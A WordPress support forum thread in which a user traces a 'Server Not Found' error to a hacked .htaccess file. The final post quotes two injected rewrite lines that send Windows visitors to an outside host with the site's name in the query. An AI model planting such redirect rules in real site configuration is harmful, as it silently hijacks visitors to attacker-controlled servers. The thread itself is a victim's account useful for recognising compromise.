“Server Not Found” error

  • Resolved garybeck

    (@garybeck)


    14 years, 9 months ago

    My blog seems to be working on the front end.

    But when I try to do something like edit the theme I am unable.

    I go to edit theme, make a simple change, and click update.

    then I get this message:

    Server Not Found
    Firefox can’t find the server at ns1.iwillremain.com

    I talked to my webhost today and they said it’s a wordpress problem, not their problem. But it seems to me the server is theirs and if WordPress can’t find the server, either it’s looking in the wrong place or the server is having a problem.

    note… IE gives a different error, just saying it “can’t display the page.”

    If anyone has an idea of the root of this kind of problem please let me know. I will call back the webhost and push further with them if I’m certain the problem is with their server and not my wordpress code.

    thanks very much
    gary

Viewing 2 replies - 1 through 2 (of 2 total)
  • Thread Starter garybeck

    (@garybeck)

    I hate to kick my own thread but I’m wondering if anyone has any idea what is going on here… and I noticed something else significant.

    when I click on the “update file” link and I get the error, it appears it is trying to go to:

    /main.php?h=anneobrien.org&i=tidcaov2igRj7U8NFyZXog==&e=r

    and for some very strange reason, the home directory is being defined as nsi.iwillremain.com

    so the explicit URL it’s trying to access is:

    nsi.iwillremain.com/main.php?h=anneobrien.org&i=tidcaov2igRj7U8NFyZXog==&e=r

    now I have no idea what iwillremain.com is, but it should have nothing to do with my blog. I looked it up and and it’s just parked on godaddy.com, and not in use.

    I did a text search on the backend of my entire blog and “iwillremain.com” is nowhere at all.

    why in the world is “iwillremain.com” getting inserted as the home directory of my blog? since this text doesn’t exist on my blog, it seems to me it must be being inserted (or the home directory is being defined) by the server. But my webhost denies the server is the trouble.

    please help!?!?!?

    Thread Starter garybeck

    (@garybeck)

    My webhost tech help found the problem!

    evidently my website was hacked.

    there is a file named “htaccess” in my home directory. It defines redirects, error pages, and other stuff.

    there were some lines in it creating redirects to ns1.iwillremain.com, such as:

    RewriteCond %{HTTP_USER_AGENT} .*Windows.*
    RewriteRule .* https://ns1.iwillremain.com/main.php?h=%{HTTP_HOST}&i=Jc2tidcaov2igRj7U8NFyZsXog==&e=r [R,L]

    I have no idea how it got there. My webhost thinks my site was hacked.

    I changed the line that said:

    RewriteEngine On

    to

    RewriteEngine Off

    and now my site is working again.

    I wish I knew how this could happen. But at least it’s working again.

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘“Server Not Found” error’ is closed to new replies.